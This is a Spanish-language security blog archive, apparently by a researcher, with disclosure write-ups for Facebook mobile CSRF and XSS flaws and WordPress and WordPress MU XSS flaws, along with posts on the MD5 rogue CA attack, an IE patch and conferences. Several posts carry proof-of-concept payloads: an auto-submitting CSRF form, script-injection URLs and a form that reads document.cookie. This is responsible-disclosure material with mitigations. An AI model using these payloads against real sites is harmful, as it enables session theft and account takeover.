El proceso [ 6570 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)
El proceso [ 6998 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)
El script detecta que hay unos binarios que no pertenecen a ningún paquete (pertenecen al software OSSEC, un HIDS Open Source, y es debido a que se instaló de forma manual), también detecta que el binario named se ha modificado y que el binario de apache2 se ha eliminado. Por lo tanto cumple su función, por supuesto es muy sencillo y se puede mejorar con más detalles, los comentarios son bienvenidos.
El código es el siguiente:
Descarga del script para Debian GNU/Linux
Espero que os sea útil.
Tuesday, 16 February 2010
Facebook: Cross-Site Request Forgery Vulnerability

Cross-Site Request Forgery es un ataque que fuerza a la victima a realizar acciones no deseadas en una aplicación en la que ésta se encuentra autenticada.
Como funciona este ataque? Un ejemplo simple, podría ser el siguiente, pongámonos en la situación de un servlet de un banco que permite realizar transacciones.
Este servlet, usa los siguientes parámetros (acct y amount), veamos un ejemplo de petición HTTP:
POST http://bank.com/transfer.do HTTP/1.1
...
...
Content-Length: 19;
acct=BOB&amount=100
En account se establece la cuenta de destino y en amount el dinero a transferir. En este escenario, un atacante puede crear un formulario de tipo POST, que envíe esas dos variables al servlet, y preparar una página web en la cual este formulario se envie de manera automática mediante JavaScript. El atacante incita a la victima a visitar este enlace y directamente la transferencia se realiza sin intervencción por parte del usuario.
El atacante ha conseguido que la victima ejecute acciones no deseadas, ya que ésta dispone de una sesión válida en la aplicación.
Del mismo modo, la interfaz móvil de Facebook era vulnerable en el formulario de actualización del perfil a ataques de tipo CSRF, en concreto en el recurso http://m.facebook.com/a/editprofile.php
El siguiente código, es un ejemplo que permite a un atacante modificar el número de teléfono en el perfil mediante esta técnica. Preparando el siguiente formulario para que se envíe automáticamente, haciendo que sea accesible en una página web y tratar que la victima lo visite mediante el envío de un enlace o cualquier otro método, concluiría en el compromiso del usuario y de la aplicación por parte del atacante:
Prueba de concepto:
<html>
<head>
<script>
function send() {
document.forms[0].submit();
}
</script>
</head>
<body onload="send();">
<form action="http://m.facebook.com/a/editprofile.php?edit=phone_cell&type=contact"; method="post">
<input type="hidden" name="phone_num" value="600000000">
<input type="hidden" name="save" value="">
</form>
</body>
</html>
El impacto es que un atacante puede forzar a otros usuarios de Facebook a realizar acciones no deseadas. La explotación con éxito de este ataque permitía la actualziación del perfil de la víctima.
Mitigación:
Es necesario implementar mecanismos de control con el objetivo de asegurar que el usuario además de estar autenticado y disponer de permisos para realizar una acción determinada (autorizado), no está siendo forzado por otros usuarios a realizar acciones no deseadas mediante CSRF.
Para resolver este problema, hay varias soluciones, la más común, se trata de generar un token aleatorio al crear el formulario y almacenarlo con la información relacionada a él (recurso, usuario, perfil, formulario, etc), añadiéndolo como campo oculto en el formulario.
Una vez se realiza la petición contra el servidor, se valida que ese token es válido. Un atacante que prepare un formulario malintencionado no podrá saber que token es válido y cúal no, por lo que con esta medida mitigamos el ataque.
El equipo de seguridad de Facebook fue notificado lo antes posible en cuanto se descubió la vulnerabilidad y corrigió este bug de forma rápida, por lo que actualmente está solucionado.
Disponeis del advisory original enviado a Full-disclosure:
http://seclists.org/fulldisclosure/2010/Feb/274
Muchas gracias! al equipo de seguridad de Facebook y a SecurityByDefault @secbydefault por las reseñas ;-)
Wednesday, 3 February 2010
Vulnerabilidad de inyección de código HTML y JavaScript en Facebook
La red social Facebook ocupa el puesto número 2 en el índice alexa y según su COO, acceden a ella 175 millones de usuarios cada día.
Hoy se ha publicado la primera de las vulnerabilidades que he encontrado en Facebook, y en concreto se trata de una inyección de código HTML y JavaScript que afecta a la interfaz móvil de la red social.
En concreto, la variable 'q' en el recurso http://m.facebook.com/friends.php no era correctamente filtrada, por lo que un atacante podía realizar ataques de tipo Cross-Site Scripting (XSS) con el objetivo de robar las cookies del usuario, y por lo tanto, comprometer su cuenta de Facebook.
El 'Proof of concept' era el siguiente: http://m.facebook.com/friends.php?q=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E
El impacto de esta vulnerabilidad en una red social como Facebook, es el robo de cuentas de los usuarios afectados, por lo tanto se considera de relevante gravedad.
Para aprovechar la vulnerabilidad el atacante tendría que preparar un enlace o sitio web con el código malicioso, con el objetivo de que las victimas lo visitaran. Y simplemente por el hecho de hacer click en un enlace o visitar un sitio web, sus cuentas quedarían automáticamente comprometidas.
El estado actual de esta vulnerabilidad es corregido. Para conseguirlo, nos pusimos en contacto con el equipo de seguridad de Facebook con el objetivo de mitigar los errores encontrados, y a pesar de que en un primer momento no obtuvimos respuesta, actualmente mantenemos un canal de comunicación con el fin de que se corrija esta y otras vulnerabilidades que se han descubierto.
Teneis disponible el advisory original (english).
A medida que el equipo de seguridad de Facebook notifique la correción de las vulnerabilidades reportadas, iré publicando más información en el blog.
Tuesday, 12 January 2010
Saturday, 9 January 2010
Wordpress Administration Interface < 2.9 HTML and Script code Injection Vulnerability
El siguiente es un aviso de seguridad para Wordpress en versiones anteriores a 2.9.
Debido a la falta de validación de la entrada proporcionada por el usuario, el parámetro insertonly[href] no ha sido correctamente filtrado por lo que es posible injectar código HTML y de script en el contexto del navegador de la victima.
El bug se encuentra en el fichero admin/media-upload.php y aquí podemos ver un PoC:
<form action="http://site/wordpress/wp-admin/media-upload.php?type=file&tab=type_url&
post_id=0" enctype="multipart/form-data" method="post">
<input name="insertonly[href]" size="80" type="text"
value="');</script>Wordpress XSS PoC<script>alert(document.cookie);</script><script> a('"/>
<input name="insertonlybutton" type="submit" value="Test PoC" />
</form>
Este bug podría ser usado, si se implementara un autosubmit del formulario y se enviaran las cookies de sesión a un servidor externo para el robo de cuentas, pudiendo llegar a obtener la cuenta de administración sin necesidad de tener una cuenta en el sistema (nótese que además del XSS, al no existir una validación con token, estamos ante un XSRF, por este motivo, no es necesario estar en posesión de una cuenta para explotar la vulnerabilidad).
El equipo de seguridad de Wordpress fue avisado del bug y publicaron la versión 2.9 que corrige la vulnerabilidad. La solución es actualizar a la versión 2.9 o 2.9.1 que acaban de publicar.
Referencias:
http://www.wordpress.org/
Saludos
Resumen seguridad informática 2009 por unaaldia
Debido a que el año pasado el blog no ha estado muy activo, enlazamos al resumen de seguridad informática para el año 2009 realizado por unaaldia, en el que se refleja lo más destacado referente a temas de seguridad.
Resumen de seguridad informática 2009 (I/IV)
Resumen de seguridad informática 2009 (II/IV)
Resumen de seguridad informática 2009 (III/IV)
Resumen de seguridad informática 2009 (IV/IV)
Desde aquí, reconocer el esfuerzo que hacen desde Hispasec para mantener esta publicación día tras día.
Monday, 28 December 2009
Avisos de seguridad 2009
Este año ha estado lleno de cambios, entre ellos, uno de los más destacados es que actualmente resido en Barcelona por motivos laborales.
Ha sido un año muy activo, en el cual he asistido a muchos eventos relacionados con la seguridad de la información y el mundo de la tecnología tales como las conferencias FIST, OWASP Spain Chapter Meeting, Hacking At Random (HAR), JDARE '09, LaCon '09, DISI, IBWAS '09,... en algunos de los cuales he participado como ponente. La previsión para el año que viene es igual o mejor, ya que se están organizando gran cantidad de eventos relacionados con temas de seguridad informática.
Complementando los eventos y conferencias, he realizado a lo largo del año tareas de investigación de vulnerabilidades en software (la mayoría en aplicaciones web), de las cuales, se han publicado de forma responsable avisos de seguridad en listas relacionadas con la seguridad informática. A modo de resumen paso a citar algunos de estos "advisories":
ModSecurity Multiple Remote Denial of Service Vulnerabilities
http://www.securityfocus.com/bid/34096
CVE ID: CVE-2009-1902
Joomla! Prior to 1.5.11 Multiple Cross Site Scripting and HTML Injection Vulnerabilities
http://www.securityfocus.com/bid/35189
Joomla! Remote File Upload Vulnerability And Information Disclosure Weakness
http://www.securityfocus.com/bid/35780
Horde Application Framework Administration Interface 'PHP_SELF' Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/37351
CVE ID: CVE-2009-3701
QuiXplorer 'lang' Parameter Local File Include Vulnerability
http://www.securityfocus.com/bid/37393
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
http://www.securityfocus.com/bid/37357
CVE ID: CVE-2009-3703
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
http://www.securityfocus.com/bid/37450
CVE-2009-3702
Joomla! Cross Site Scripting and Information Disclosure Vulnerabilities
http://www.securityfocus.com/bid/35544
eXtplorer 'include/init.php' Local File Include Vulnerability
http://www.securityfocus.com/bid/33955
WordPress MU 'wp-includes/wpmu-functions.php' Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/34075
CVE ID: CVE-2009-1030
Simple PHP Blog 'blog_language1' Parameter Local File Include Vulnerability
http://www.securityfocus.com/bid/37434
A partir del 2010, espero poder ir publicando los avisos de seguridad en el blog a medida que vayan viendo la luz y cualquier otro apunte que considere interesante. Por lo demás, tan solo desearos un feliz año.
Tuesday, 30 December 2008
Ataque a SSL/HTTPS: afectadas CA's con firmas MD5
Estos días está teniendo lugar en Berlín el 25C3, 25 Chaos Communication Congress. En él se están presentando interesantes ponencias en temas relacionados con la seguridad.
En concreto, hoy se ha presentado MD5 considered harmful today, Creating a rogue CA Certificate, un PoC en el que describen cómo aprovechar las colisiones MD5, para generar un certificado válido y realizar ataques de suplantación de identidad, afectando directamente a las redes de confianza, concepto en el que se basa la Public Key Infrastructure (PKI), y sobre el que se consolida gran parte de Internet.
Los investigadores en cuestión son Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger.
El problema de fondo es que existan CAs que continúen usando MD5 para sus firmas, aún cuando MD5 se sabe que está roto desde 2004, en relación a la posibilidad de encontrar colisiones y ya en 2007 se presentó un paper teórico de como atacar a una CA basado en estas premisas.
Ha tenido que ser en 2008, con la ayuda de un CPD de 200 PS3 equivalente a 8000 CPUs estándar o $20k de tiempo en amazon EC2, cuando un equipo de investigadores de seguridad informática ha demostrado como explotar esta técnica en la práctica para afectar al protocolo HTTPS, (si, el candadito que sale en la parte inferior derecha del navegador), y en realidad cualquier protocolo que use SSL . Pero la pregunta es, quien sigue usando MD5 a día de hoy para cosas serias? y la triste respuesta es que muchos sistemas..., de los 30k certificados que cogieron para realizar el ataque, 9k estaban firmados con md5, a rapidssl.com se le ha atribuido el 97% de ellos.
Para saber si el sitio que visitamos puede correr peligro de ser suplantado y por lo tanto permitiría ataques 'man-in-the-middle' sobre SSL, desde Firefox, podemos ir a "Herramientas" -> "Información de la página" -> "Seguridad" -> "Ver Certificado" -> "Detalles" -> "Algoritmo de firma del certificado". Si veis algo como "PKCS #1 SHA-1 con cifrado RSA" estais a salvo, sin embargo si aparece "MD5" entonce ese sitio es vulnerable.
Este tipo de ataques podrían conducir a ataques de phising "perfectos" o indetectables, con certificados SSL válidos o bien se podrían combinar junto con el fallo descubierto por Dan Kaminsky hace unos meses sobre DNS Poisoning, por lo que serían totalmente eficaces y de muy dificil detección, debido a que la victima no podría darse cuenta que el sitio está siendo suplantado. Este tipo de vulnerabilidades podría llegar a afectar o "salpicar" a la banca o comercio online, ya que son el tipo de tecnologías que usan como medida de seguridad para el protocolo de datos entre el cliente y el servidor, es un tema bastante serio.
La solución pasa porque ningún CA firme con MD5, y sólo se utilice SHA1 o algoritmos más seguros (SHA-2 todavia está en desarrollo y no está totalmente soportado), al mismo tiempo los navegadores tienen que actualizar sus blacklist para revocar esos certificados, mozilla y microsoft se han pronunciado, más abajo os dejo los enlaces.
Enlaces:
Información detallada
Más información técnica
Presentación en el congreso
Sitio de demo (poner la hora del sistema anterior a Agosto 2004 antes de hacer click
Certificados:
Certificado real
Certificado modificado
Respuesta de Mozilla/Microsoft:
Mozilla
Microsoft y 2
Referencias:
ISC SANS: MD5 Considered harmful today - Creating a rogue CA certificate
ISC SANS: MD5 SSL Summary
Friday, 19 December 2008
Predicciones de seguridad informática para 2009
10 Security Predictions for 2009 (Channel Web)
2009 Security Predicitions (SANS Institute)
Security Predicitions: Experts Look Ahead to 2009 and Beyond (CIO.com)
Rich Mogull: 7 Infosec Trends for 2009 (CSO Online)
Wednesday, 17 December 2008
BSOD en Mac OS X: actualización a 10.5.6
Puestos a criticar, aquí no se salva nadie... ahora le toca el turno a Apple.
Hace apenas un par de días salió la actualización de Leopard a 10.5.6, en principio todo pintaba bien, añadía funcionalidades, actualizaba ciertos componentes, corrgía bugs: Brian Krebs, del washington post, anunciaba que Apple corregía de esta manera 21 fallos de seguridad. y al parecer se iba a convertir en la última actualización antes del esperado Mac OS X 10.6 "Snow Leopard" para los colegas.
Pero llegaron los problemas, un buen número de usuario se quejan de los múltiples problemas que están teniendo con las actualizaciones, y a mí también me ha tocado.
He actualizado varias máquinas, Mac Mini PowerPC, Macbook pro Intel, IMac 20" pero por último ha fallado una máquina un IMac 24" Intel. La actualización no se llegó a instalar correctamente, al reiniciarse el sistema era completamente inestable (fallos inesperados en varios procesos.., no funciona el sonido, etc), y después de un reinicio forzado, la máquina ya no vuelve a arrancar mostrando la pantalla de un bonito kernel panic caraácteristico de Mac que ya había visto otras veces, pero esta vez en el arranque, pocos segundos después de pulsar el botón de encendido, dejando la máquina totalmente inútil.
Al parecer los de Apple le quieren hacer la competencia a M$ con los pantallazos azules (BSOD, Blue Screen Of Death), en este caso color gris. Lo cierto es que, pretendiendo ser un sistema operativo serio, no pueden permitirse este tipo de fallos, realmente están preparados para el desspliegue a nivel corporativo?
Actualización 19/12: Apple reconoce que existen problemas con la actualización a 10.5.6, al parecer el paquete que distribuyeron estaba incompleto.
Referencia: http://support.apple.com/kb/TS2383
Internet Explorer: Critical Microsoft Security Bulletin MS08-078
Hola,
Cuando por primera vez lo leí, hace ya días, pensé "bueno.. uno más", pero este bug está dando mucho que hablar.
En primer lugar anunciaron que sólo afectaba a IE7, la vulnerabilidad salió a la luz en un foro chino un día antes del segundo martes de diciembre (que pillos!, los segundos martes de cada mes es cuando m$ distribuye los parches de actualizaciones, dejandoles literalmente en bragas), el problema se complicó muchísimo al notificar un investigador de seguridad danés que la vulnerbailidad se extendía a todas las versiones de Internet Explorer y afecta a todos los sistemas operativos Windows. Este fallo, que reside en el manejo de etiquetas XML, permite ejecutar código arbitrario en la máquina remotamente sin intervención alguna por parte del usuario, sólo es necesario que se visite una página web con Internet Explorer para que el malware sea instalado en la máquina.
Microsoft recomendaba deshabilitar el fichero Oledb32.dll para permanecer seguro (así como no navegar como administrador) y tener actualizados los antivirus, anti-spyware, activado firewall, etc... 'lo qué? ' Es decir,... como saben que puede entrar cualquier virus o similar y no son capaces de evitarlo, actualiza el antivirus y agarrese quien pueda... no creo que sea una medida decente, aún te quedan ganas de seguir usando IE? sigue leyendo...
Además, anunciaron que había un bajo riesgo de infectarse, a pesar de la gran fauna de malware que está aprovechando esta vulnerabilidad y está actualmente in the wild, alegando que un número muy bajo de páginas web estaban infectando máquinas y que había un porcentaje muy bajo de infectarse... viva!! juguemos a la ruleta rusa! No es de recibo... Cuando se sabe a ciencia cierta que hay más de dos millones de máquinas infectadas debido a esta vulnerabilidad y más de 10.000 páginas web con el código javascript malicioso... ejem!
Por todo esto las empresas de seguridad han recomentado la instalación y uso de otros navegadores, como Firefox, Opera, Safari o Chrome, por lo que por fin hoy, deciden sacar el parche fuera de ciclo (como era de esperar), aunque ha dejado como semana y media para que cualquiera lo explote siendo publico (viva el full-disclosure!). En theinquirer comentan sobre el lanzamiento del parche "El mismo será distribuido desde Windows Update, Microsoft Update y Windows Server Update Services (WSUS), para usuarios de Windows 2000, XP, Vista, Server 2003 y Server 2008. El parche debe corregir la vulnerabilidad en IE5.01, IE6 e IE7. Para IE8, actualmente en fase beta, la corrección llegará posteriormente ya que no ha sido incluido en la lista de navegadores soportados."
Vamos, a cualquiera le puede pasar, no existe software 100% seguro, no existe aún técnica o manual que pueda certificarlo, pero hay maneras y maneras... y cuando ha pasado ya muchas veces (ya no sólo a nivel de navegador, sino de sistema.... recordemos el blaster, sasser, y los ya más recientes MS08-67, MS08-68...), es hora de plantearse que software usas teniendo en cuenta que mucha gente, un porcentaje muy alto del tiempo que pasa ante una máquina es con el navegador abierto.
Se puede aprender algo de todo esto, siempre se aprende algo de los errores, podemos seguir varios consejos como no navegar con un usuario con privilegios que no necesite (nunca como adminsitrador), tener un sistema de protección para el sistema y la red..., hay gente que no sigue ninguno de ellos e incluso nunca sabrá que existió este fallo.
Personalmente recomendaría un navegador que me ofrezca cierta garantía de calidad/seguridad, yo apuesto por Firefox y Opera, tu por cuál apuestas?
Desde el Sans ISC nos avisan del lanzamiento del parche MS08-078, y recalcan que no sustituye al MS08-073 de principios de mes, ambos son necesarios para hacer a IE "seguro"
Feliz upgrade a la gente que siga usando IE, recordar es imprescindible actualizarlo, y también podeis replantearos si sería conveniente cambiar de navegador. Un dato curioso es que durante este proceso según un estudio la cuota del IE ha bajado al 70%, siendo tan fácil descargar e instalar un navegador, y lo poco traumático que es ya que te importan los marcadores y demás.
Es hora de reflexionar!
Referencias (en este enlace podeis encontrar información técnica y muchas otras referencias):
NIST IT Security: Internet Explorer XML Exploit Allows Remote Code Execution
Instalar parche [microsoft.com]
Thursday, 27 November 2008
Botelín de Seguridad: WordPress MU < 2.6 wpmu-blogs.php Cross Site Scripting vulnerability
Wordpress-MU, es la versión multi usuario de Wordpress, permite ejecutar ilimitadas instancias de blogs con una única instalación de wordpress. Su uso está muy extendido, algunos ejemplos son Wordpress.com (índice 28 en Alexa) o en universidades como Harvard.
Este post tenía que haber visto la luz hace tiempo (por septiembre), pero se ha demorado hasta ahora.
El 6 de agosto, publiqué un llamamiento a la actualización para Wordpress MU < 2.6 debido a un bug encontrado que hacía posible el robo de credenciales.
Todo empezó el 14 de Mayo, cuando debido a mi trabajo, empezamos a trabajar con Wordpress MU, lo genial que tiene el código abierto es que tu mismo puedes auditar el código que va a correr sobre tus máquinas, siendo esto esencial. Ese mismo día, realizando unas pruebas a la plataforma encontré un bug XSS (Cross Site Scripting) en el panel de adminstración que permite a un atacante robar las cookies al Administrador del sitio y (tenga o no tenga usuario en el sistema) convertirse automágicamente en Adminsitrador Global del Sitio.
Ese mismo día el error fue notificado al equipo de desarrollo de Wordpress MU, me sincronizé con ellos para parchear el código en la rama trunk, después de un par de intentos (en el primero se les quedo un cabo suelto ;)) por fin, sólo dos días después (el 16 de mayo) conseguimos solventar completamente el problema. Más tarde veía la luz la esperada versión 2.6 que incluía esta serie de parches. La solución pasa por instalar cualquier versión superior o igual a la 2.6, tan sólo hace dos días anunciaban el lanzamiento de la versión 2.6.5
Quiero agradecer al equipo de desarrollo, en especial al desarrollador principal Donncha por su cooperación y también por añadirme en los créditos. Gracias!
Del mismo modo los administradores de esta red en la Universidad de Alicante también fueron notificados lo antes posible sobre el error, y proporcioné los parches que eran necesarios.
El boletín de seguridad ha sido publicado en los sitios web y listas con más renombre a nivel internacional y las bases de datos de vulnerabilidades más relevantes sobre seguridad informática:
CVE ID: 2008-4671 Common Vulnerabilities and Exposures
NVD, National Vulnerability Database del NIST (US-CERT)
Bugtraq ID, SecurityFocus
Secunia Advisory ID
OSVDB, Open Source Vulnerability Database
Full-disclosure
Podeis leer el Advisory entero aquí mismo:
- Security Advisory -
- - WordPress MU < 2.6 wpmu-blogs.php Cross Site Scripting vulnerability -
- -----------------------------------------------------------------------
Product: Wordpress-MU (multi-user)
Version: Versions prior to 2.6 are affected
Url: http://mu.wordpress.org
Affected by: Coss Site Scripting Attack
I. Introduction.
Wordpress-MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It's widely used, some examples are
WordPress.com or universities like Harvard
II. Description and Impact
Wordpress-MU is affected by a Cross Site Scripting vulnerability, an
attacker can perform an XSS attack that allows him to access the
targeted user cookies to gain administrator privileges
In /wp-admin/wpmu-blogs.php an attacker can inject javascript code,
the input variables "s" and "ip_address" of GET method aren't properly
sanitized
Here is a poc:
PoC: http://site/path/wp-admin/wpmu-blogs.php?action=blogs&s=%27[XSS]
PoC:
http://site/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=%27[XSS]
The impact is the attacker can gain administrator privileges on the
application.
III. Timeline
May 14th, 2008 - Bug discovered
May 14th, 2008 - Vendor contacted and the start of a syncronized
code patching
May 16th, 2008 - MU trunk code fixed
July 28th, 2008 - WPMU 2.6 released
September 2nd, 2008 - WPMU 2.6.1 released
September 29th, 2008 - Security advisory released
IV. Solution
Upgrade to version 2.6 or upper of wordpress multi-user. It can be
downloaded from http://mu.wordpress.org
V. Credits
Juan Galiana Lara
http://blogs.ua.es/jgaliana
GNU/Linux en tu llavero: Distribuciones Live y Virtualización
Descarga: PDF [1.9M]
Wednesday, 26 November 2008
IV Jornadas por el Conocimiento Abierto y el Software Libre celebradas en la Universidad de Alicante
La semana pasada durante los días 20 y 21 de Noviembre se celebraron las IV Jornadas por el Conocimiento Abierto y el Software Libre en la Universidad de Alicante.
Este evento está organizado de la mano del Vicerrectorado de Tecnología e Innovación Educativa a través de la iniciativa COPLA la cual tiene como objetivo difundir el conocimiento abierto e implantar soluciones de software libre en la universidad.
El primer día consistió en conferencias, a las cuales, sólo pude acercarme a la primera, que estuvo interesante, trató sobre start-ups relacionadas con el softeware libre, y el segundo día se impartieron varios talleres.
Un par de miembros de GULA (Grupo de Usuario de Linux de Alicante) impartimos un taller sobre GNU/Linux: Distribuciones Live y Virtualización en dos sesiones y que tuvo una muy buena acogida, presentando las ventajas del uso de dispositivos de almacenamiento externo usb como soporte para llevar GNU/Linux a cualquier lugar, ya fuera de forma arrancable mediante sistemas live o empleando software de virtualización, con las ventajas que esto conlleva: sin interacción con el disco, problemas con permisos, privacidad, cómodidad en cuanto a perfiles y datos móviles, un sistema totalmente personalizado y con persistencia de datos.
Por último se presentó una solución para virtualizar GNU/Linux sin requerir instalar ningún tipo de software en la máquina gracias a Qemu (actualmente único software que permite realizar este tipo de técnica) por la cual, podemos llevar en un dispositivo de almacenamiento usb tanto la imagen como el software de virtualización al más estilo "todo en 1".
Este tipo de eventos sirve para concienciar a la gente en este movimiento, que ya a día de hoy es imparable, y para convencer a la gente que piensa del modo "eso es una moda", o "tiene los días contados"..., señores el software libre ha llegado para quedarse.
Más tarde tengo pensado colgaros la presentación, así como un par de post pendientes...
Saludos!
Thursday, 6 November 2008
Últimos Congresos y Jornadas relacionados con Informática
Hace ya bastante tiempo desde la última vez que escribí por aquí... aunque tengo intención de recuperar el hilo para publicar muchas ideas que tengo en la cabeza.
En este post enumero rápidamente algunos de los últimos congresos/jornadas a los que he asistido:
- Google Developer Day 2008 (25 Sept 2008) Madrid. Google Inc.
Google Developer Day es un evento que se celebra un varias ciudades a lo largo de todo el mundo, y en concreto en Madrid es el 2º año que se realiza. Consta de conferencias técnicas y talleres a manos de los ingenieros de Google y el lugar elegido fue el parque de atracciones de madrid, además este año coincidió con el 5º Aniversario de Google España y a última hora hubo fiesta y tarta de cumpleaños. Yo personalmente lo pasé muy bien y la organización fue excelente, aprovecho para mandar un saludo para Clara e Isabel, sin olvidarme de Chewy ;)
- Encuentro Multidisciplinar sobre Tecnologías de la Información y las Comunicaciones para la Asistencia Social y Sanitaria. Oct 2008. Grupo de domótica y ambientes inteligentes. Dpto Tecnología Informática y Computación. Universidad de Alicante
- V Jornadas para el Desarrollo de Grandes Aplicaciones en Red (JDARE). Grupo de investigación de Redes y Middleware. Dpto. Tecnología Informática y Computación. Oct 2008 Universidad de Alicante
- Asegur@IT IV. Microsoft TechNet, S21Sec, CryptoRed (UPM), Informática64, Debian. 27 Oct 2008.
Evento sobre seguridad informática dirigido a profesionales de IT, celebrado en el Centro de Formación en Tecnologías de la Información y Comunicaciones Madrid-Sur Getafe, (Madrid), la agenda fue muy interesante:
Alfonso Muñoz (UPM): Esteganografía 2.0: Pasado, presente y futuro de la ocultación de las comunicaciones
David Barroso (S21Sec): Botnets 2.0: adquiriendo el control de Internet
Chema Alonso (Informática64): RFD. Descarga de ficheros con Blind SQL Injection
Luciano Bello (Debian). Debian OpenSSL Bug, el cómo, el porqué y las consecuencias
Héctor Sánchez Montenegro (Microsoft) ¿Qué está haciendo Microsoft en Seguridad?
Además tuve la oportunidad de intercambiar algunas palabras con Chema Alonso y Luciano Bello, espero poder volver a asistir a otro de los muchos eventos que organizan y porqué no, colaborar con ellos en un futuro.
.
En el punto de mira:
- III Congreso de Software Libre de la Comunidad Valenciana. Conselleria d’Educació de la Generalitat Valenciana. Palacio de Congresos de Alicante
Los días 5, 6 y 7 de Noviembre se está celebrando en Alicante este congreso de Software Libre que reúne a 1500 asistentes y ponentes de todo el mundo para hablar de algo que hoy día se ha convertido en imprescindible cuando hablamos de informática: El Software Libre.
Tuve la oportunidad de estar ayer y hoy mismo, han habido gran cantidad de charlas y talleres durante todo el día. Mañana se clausurará el evento alrededor de la 13:00 horas.
En el congreso además de presentar la nueva versión de Lliurex (8.09), han venido hasta Alicante personalidades importantes del mundillo como Jon "Maddog" Hall (de Linux Internacional), y que hoy mismo asistí a su conferencia (aunque no es la primera vez que le veía), a los que se suman Marcelo Tosatti (Red Hat) y muchos otros (gente de Sun, Mozilla, OpenOffice, Ubuntu, etc).
También volvió a España Luciano Bello (desarrollador de Debian) con el que pude charlar un rato. Del mismo modo ha habido tiempo para mesas redondas locales, como la de hoy a última hora sobre software libre en las universidades de la comunidad valenciana en la que ha participado el Vicerrector de Tecnología e Innovación Educativa de la UA, y que ha resultado entretenida ya que cada participante ha expuesto qué se está haciendo en cuanto a promoción y uso del software libre en su universidad y se han visto distintos puntos de vista.
Destacar la gran cantidad de conferenciantes (durante tres días, dos de ellos mañana y tarde) con 5 salas más el auditorium, realizandose conferencias y talleres simultaneamente, además de la presencia de empresas con stands en la primera planta.
Simplemente decir que espero no perderme el IV!
- IV Jornadas por el Conocimiento Abierto y Software Libre de la Universidad de Alicante, ya tenemos la vista puesta en estas jornadas que organiza el Vicerrectorado de Tecnología e Innovación Educativa a través del Proyecto COPLA (Conocimiento Abierto y Software Libre en la Universidad de Alicante) donde participaremos como otros años atrás, ya os contaré más. Será el 20 y 21 de noviembre y estais todos invitados.
Enlace: http://copla.ua.es
- Encuentro Interdisciplinar de Domótica. Dpto. Tecnología Informática y Computación, que tendrá lugar los próximos 11 y 12 de diciembre en la Universidad de Alicante
Enlace: http://www.dtic.ua.es/dai/eid/
Por ahora eso es todo.